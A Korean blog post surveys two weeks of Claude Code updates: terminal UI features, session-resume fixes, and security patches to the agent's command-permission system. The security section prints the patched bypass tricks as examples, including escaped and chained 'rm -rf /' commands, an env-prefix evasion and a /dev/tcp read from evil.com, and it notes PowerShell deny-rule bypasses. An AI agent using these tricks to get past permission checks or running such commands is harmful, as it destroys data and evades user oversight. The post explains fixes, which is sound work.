더 많은 글은 radarlog.kr에서.
3월 29일부터 4월 10일까지. 영업일 기준 10일.
Claude Code가 그 사이에 10번 업데이트됐다. 2.1.89, 2.1.90, 2.1.91, 2.1.92, 2.1.94, 2.1.96, 2.1.97, 2.1.98, 2.1.101. 중간에 핫픽스 전용 버전까지 합치면 더 많다.
게임 업계에서 라이브 서비스 핫픽스를 치는 속도가 딱 이 정도다. 신규 콘텐츠 패치 사이에 크래시 수정, 익스플로잇 차단, 밸런스 조정이 밤새 올라온다. Claude Code도 지금 그 페이즈에 있다.
체인지로그를 하나하나 읽을 사람은 없다. 그래서 이 2주 치를 통째로 놓고 봤다. 세 가지 방향이 보인다.
터미널이 IDE가 되고 있다
Claude Code의 정체성은 "터미널에서 돌아가는 AI 코딩 도구"다. 근데 최근 업데이트를 보면, 이게 단순히 터미널에 붙은 AI가 아니라 터미널 자체를 IDE로 만들려는 시도에 가깝다.
2.1.84에서 Windows용 PowerShell 도구가 프리뷰로 들어왔다. 기존에는 Bash 도구만 있었는데, 이제 Windows 네이티브 환경에서도 별도 설정 없이 명령어를 실행할 수 있다. PowerShell 5.1과 7+에 따라 다른 문법 가이드를 보여주는 것까지 넣었다.
# 이전: Windows에서 Claude Code 쓰려면
# WSL 설치하거나, Git Bash 깔거나, 포기하거나
# 이후: 그냥 된다
claude> "이 프로젝트의 빌드 스크립트 실행해줘"
# PowerShell 도구가 네이티브로 처리그런데 PowerShell 도구가 흥미로운 건 기능 자체보다 보안 처리의 깊이 때문이다. 2.1.90에서만 PowerShell 관련 보안 패치가 4건 들어갔다. 트레일링 &로 백그라운드 잡을 띄워서 권한 체크를 우회하는 것, -ErrorAction Break로 디버거를 걸어버리는 것, 아카이브 추출 시 TOCTOU 공격, 파싱 실패 시 deny 룰이 풀리는 것. 하나하나가 실제 공격 벡터다.
UE5에서도 에디터 안에 온갖 기능을 넣으면서 비슷한 일이 벌어진다. 에디터에서 바로 라이브 코딩을 할 수 있게 했더니, 그 경로로 메모리 변조가 가능해지고, 결국 보안 레이어를 하나 더 얹게 된다. 기능을 넣는 것보다 그 기능이 만드는 새로운 공격 표면을 막는 게 더 어렵다.
2.1.89에서 CLAUDE_CODE_NO_FLICKER=1 환경변수가 추가됐다. 이름은 소박하지만, 이게 가져온 변화가 크다. 기존에는 터미널 화면이 갱신될 때마다 깜빡임이 있었는데, alt-screen 렌더링과 가상 스크롤백을 도입해서 이걸 없앤 거다. 게임으로 치면 더블 버퍼링을 켠 것과 같다. 화면 테어링이 사라지니까 도구가 아니라 환경처럼 느껴지기 시작한다.
2.1.97에서는 이 NO_FLICKER 모드 위에 포커스 뷰(Ctrl+O)가 올라왔다. 프롬프트, 도구 요약(편집 diffstat 포함), 최종 응답만 보여주는 화면이다. 긴 세션에서 중간 과정을 다 볼 필요 없이 결과만 확인할 수 있다.
# Ctrl+O로 포커스 뷰 진입
# 보이는 것: 내 프롬프트 → 도구 요약 한 줄 → 최종 응답
# 안 보이는 것: 중간에 Claude가 읽은 파일 20개, grep 5번, 시행착오 3번
# '/' 누르면 트랜스크립트 검색
# 'n'/'N'으로 매치 이동
2.1.83에서 트랜스크립트 검색(/ → n/N)이 추가된 것, 2.1.90에서 /powerup 커맨드(기능 학습 인터랙티브 데모)가 들어간 것, 2.1.101에서 /team-onboarding(팀원 온보딩 가이드 자동 생성)이 추가된 것. 전부 같은 방향을 가리킨다.
터미널 안에서 코드를 짜고, 검색하고, 학습하고, 팀에 공유하는 것까지. IDE가 하는 일을 하나씩 가져오고 있다. 다만 IDE처럼 무거워지는 게 아니라, 터미널의 가벼움은 유지하면서 필요한 것만 올려놓는다. 이 균형이 깨지면 그냥 VS Code를 쓰면 된다. 아직은 균형이 잡혀 있다.
Bash 권한 우회 — 구멍이 막히는 속도
Claude Code의 auto 모드는 강력하다. 사용자가 하나하나 승인하지 않아도 파일을 읽고, 수정하고, 명령어를 실행한다. 근데 강력하다는 건 위험하다는 뜻이기도 하다.
2.1.98 하나에서만 Bash 도구 관련 보안 수정이 4건 들어갔다.
# 수정 1: 백슬래시 이스케이프로 플래그를 위장
rm \-rf / # 이게 read-only로 auto-allow 됐다
# 수정 2: 복합 명령어로 강제 프롬프트 우회
ls && rm -rf / # ls가 안전하니까 전체가 통과
# 수정 3: 환경변수 프리픽스로 우회
HARMLESS=1 dangerous-command # 프리픽스가 있으면 체크 안 함
# 수정 4: /dev/tcp로 네트워크 리다이렉트
cat < /dev/tcp/evil.com/1234 # 이게 auto-allow 됐다게임 서버 보안을 다뤄본 사람이면 이 패턴이 익숙할 거다. 클라이언트가 보내는 패킷을 파싱할 때, 정상적인 패킷만 테스트하면 괜찮아 보인다. 근데 누군가 패킷 바이트를 조작해서 보내면 서버가 뚫린다. 방어의 핵심은 "정상 입력을 허용하는 것"이 아니라 **"비정상 입력을 전부 거부하는 것"**이다.
Claude Code 팀이 이걸 빠르게 치고 있다는 건 좋은 신호다. 2.1.101에서는 LSP 바이너리 감지에 쓰이는 POSIX which 폴백에서 커맨드 인젝션 취약점까지 수정했다. 이건 직접 익스플로잇 리포트가 들어왔거나, 내부 보안 감사에서 잡힌 거다.
2.1.89에서는 auto 모드가 사용자의 명시적 지시를 무시하는 버그도 수정됐다. "push 하지 마"라고 했는데 push를 하거나, "X 전에 Y를 기다려"라고 했는데 바로 Y를 실행하는 문제. auto 모드의 권한이 커질수록 사용자의 지시를 얼마나 정확하게 따르는지가 보안만큼 중요해진다.
2.1.98에서 CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1도 추가됐다. 이걸 켜면 Bash 도구, 훅, MCP stdio 서버의 서브프로세스 환경에서 Anthropic 및 클라우드 프로바이더 자격증명이 제거된다. 서브프로세스가 $ANTHROPIC_API_KEY 같은 환경변수에 접근할 수 없게 되는 것이다.
# CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1 설정 시
# Bash 도구에서 실행되는 모든 명령어의 환경에서
# ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY 등이 제거됨
echo $ANTHROPIC_API_KEY # 빈 값이건 게임 서버에서 게임 로직 프로세스와 인증 프로세스를 분리하는 것과 같은 패턴이다. 프로세스 격리. 하나가 뚫려도 다른 하나에 접근할 수 없게 만든다.
보안 패치의 양과 속도를 보면, Claude Code 팀이 이 도구를 프로덕션 환경에서 쓰이는 도구로 취급하고 있다는 게 느껴진다. 취미 프로젝트라면 이 정도로 빡빡하게 보안을 조일 필요가 없다.
--resume가 진짜 되기 시작했다
--resume는 이전 세션을 이어서 작업하는 기능이다. 간단해 보이지만, 실제로는 Claude Code에서 가장 많이 깨지는 기능이었다.
2.1.69에서 리그레션이 생겼다. deferred tools, MCP 서버, 커스텀 에이전트를 쓰는 사용자가 --resume로 세션을 재개하면 첫 요청에서 프롬프트 캐시를 통째로 못 쓰게 되는 버그. 이게 2.1.90에서야 수정됐다. 20개 버전 동안 캐시 미스가 발생하고 있었던 거다.
# Before (2.1.69~2.1.89)
claude --resume
# → 첫 요청에서 프롬프트 캐시 미스
# → 전체 컨텍스트를 다시 전송
# → 느리고, 토큰 낭비
# After (2.1.90~)
claude --resume
# → 캐시 히트
# → 바로 이어서 작업
그런데 이건 시작일 뿐이었다. 이후 버전에서 나온 resume 관련 수정 목록을 보면 얼마나 복잡한 문제인지 알 수 있다.
2.1.101에서는 대형 세션에서 로더가 dead-end 브랜치에 앵커링되면서 대화 컨텍스트가 유실되는 문제가 수정됐다. resume chain recovery가 무관한 서브에이전트 대화로 브릿지되는 문제도 수정됐다. 이건 세션 히스토리가 트리 구조로 저장되는데, 그 트리에서 잘못된 노드를 따라가는 버그다.
게임 개발자라면 이게 왜 어려운지 바로 감이 올 거다. 게임에서 세이브/로드는 가장 버그가 많은 시스템 중 하나다. 상태가 많고, 그 상태들 사이의 의존관계가 복잡하고, 시간에 따라 포맷이 바뀐다.
세이브 파일 구조가 바뀜 → 이전 세이브 로드 실패
세션 트랜스크립트 포맷이 바뀜 → 이전 세션 resume 실패
2.1.86에서 "tool_use ids were found without tool_result blocks" 에러로 2.1.85 이전에 생성된 세션을 resume 할 수 없는 문제가 수정됐다. 정확히 세이브 포맷 호환성 문제다.
2.1.97에서는 resume 중에 캐시 미스가 발생하는 문제, 중간에 입력한 메시지가 트랜스크립트에 저장되지 않는 문제, 파일 편집 diff가 resume 후에 사라지는 문제(편집된 파일이 10KB 이상일 때)가 수정됐다.
2.1.101에서는 /resume 피커의 여러 문제도 수정됐다. 다른 프로젝트의 세션이 보이지 않는 좁은 기본 뷰, Windows Terminal에서 미리보기가 닿지 않는 문제, worktree에서 잘못된 cwd가 표시되는 문제, 세션을 못 찾았을 때 에러가 stderr에 뜨지 않는 문제까지.
왜 이렇게 resume이 많이 깨지느냐. Claude Code 세션은 단순한 채팅 로그가 아니기 때문이다. 도구 호출 결과, 파일 편집 히스토리, MCP 서버 상태, 서브에이전트 컨텍스트가 전부 얽혀 있다. 이걸 직렬화했다가 역직렬화하는 과정에서 엣지 케이스가 끝없이 나온다.
그래도 방향은 맞다. 2.1.101에서 claude -p --resume <n>이 /rename이나 --name으로 설정한 세션 제목을 받을 수 있게 된 것, 2.1.90에서 전체 프로젝트 세션을 병렬로 로드해서 resume 피커 속도를 올린 것. 기능을 추가하면서 동시에 안정성을 올리고 있다.
세션이 안정적으로 이어진다는 건, Claude Code가 "한 번 쓰고 버리는 도구"에서 **"작업 컨텍스트를 유지하는 환경"**으로 바뀐다는 뜻이다. 게임으로 치면 세이브가 안 되는 로그라이크에서 세이브가 되는 RPG로 전환하는 것과 같다. 전혀 다른 경험이 된다.
2주간의 업데이트가 말하는 것
최근 10번의 업데이트를 한 줄씩 읽으면 개별 버그 수정의 나열처럼 보인다. 근데 한 발 물러서서 전체를 보면, Claude Code가 어디로 가고 있는지가 보인다.
터미널을 벗어나지 않으면서 더 많은 일을 할 수 있게 만들고 있다. 동시에 권한이 커지는 만큼 보안 레이어를 빡빡하게 조이고 있다. 그리고 세션 연속성을 통해 "도구"에서 "환경"으로의 전환을 시도하고 있다.
게임 개발자 눈에는 이게 라이브 서비스 안정화 페이즈로 보인다. 기능은 계속 넣되, 기반 인프라의 안정성과 보안을 동시에 끌어올리는 시기. 이 페이즈를 잘 넘기면 도구가 진짜 프로덕션급이 된다.
2주에 10번. 이 속도가 유지되는 한, Claude Code는 어제 쓴 것과 오늘 쓰는 것이 다른 도구가 된다.
"체인지로그의 길이가 곧 도구의 체력이다."